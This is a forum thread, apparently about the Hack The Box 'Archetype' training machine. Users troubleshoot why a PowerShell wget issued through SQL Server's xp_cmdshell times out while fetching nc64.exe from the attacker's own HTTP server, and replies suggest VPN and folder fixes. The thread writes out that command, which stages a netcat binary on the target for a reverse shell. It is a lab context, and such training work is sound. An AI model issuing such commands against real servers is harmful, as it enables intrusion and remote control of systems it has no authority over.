Archetype wget not working

NeonPinguin · January 6, 2023, 1:39pm

Hey,

I have the following problem:
I’ve been trying to solve the Archetype machine for hours now.
As soon as I enter the wget command in the machine, I get the "10.129.2.31 - - [06/Jan/2023 14:25:02] “GET /nc64.exe HTTP/1.1” 200 -
" on my Python Http server log. But the command takes forever to execute. After a few minutes I get this message:
SQL> xp_cmdshell powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.15.232/nc64.exe -outfile nc64.exe; dir

output

wget : The operation has timed out.

At line:1 char:33

… vc\Downloads; wget http://10.10.15.232/nc64.exe -outfile nc.exe; dir
```
               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~             
```
- CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebExc
eption
- FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

NULL

Directory: C:\Users\sql_svc\Downloads

NULL

Mode LastWriteTime Length Name

-a---- 1/6/2023 5:14 AM 0 nc64.exe

NULL

Soft/Hard reset I have already tried.
I know a little bit about Powershell, but I don’t understand why it doesn’t work like this.

Would be happy about further input.
Thank you!

NightWolf56 · January 6, 2023, 6:14pm

It sounds like the web request isn’t getting to your http server. Double check ip address, port, and firewall rules. UFW tends to be a common one.

NeonPinguin · January 6, 2023, 6:27pm

As mentioned before, I can see the Request on the Python http server log… and when I visit my ip in browser I can download the file too.

aaron00204 · January 29, 2023, 8:46pm

Having the same issue. Definitely not firewall. Can confirm in my Kali VM I have an IP within the same subnet as the Archetype box. I can confirm I have the HTTP server running from the right folder. Just not sure how to fix the wget : Unable to connect to the remote server error. Weird how I can connect to the target machine via SQL but the same machine can’t talk back to my machine…?

Cibans · February 19, 2023, 12:59pm

@NeonPinguin & @aaron00204 are you using openvpn over tcp or udp?

Download the tcp one instead of the udp one and this issue should be solved.

Greetings
Cibans

aaron00204 · August 6, 2023, 3:22am

sorry for the late reply, no that does not fix anything.

adrianllaguna · November 15, 2023, 8:21am

guys all you need to do is put the nc64.exe to the folder directory of impacket. Heres mine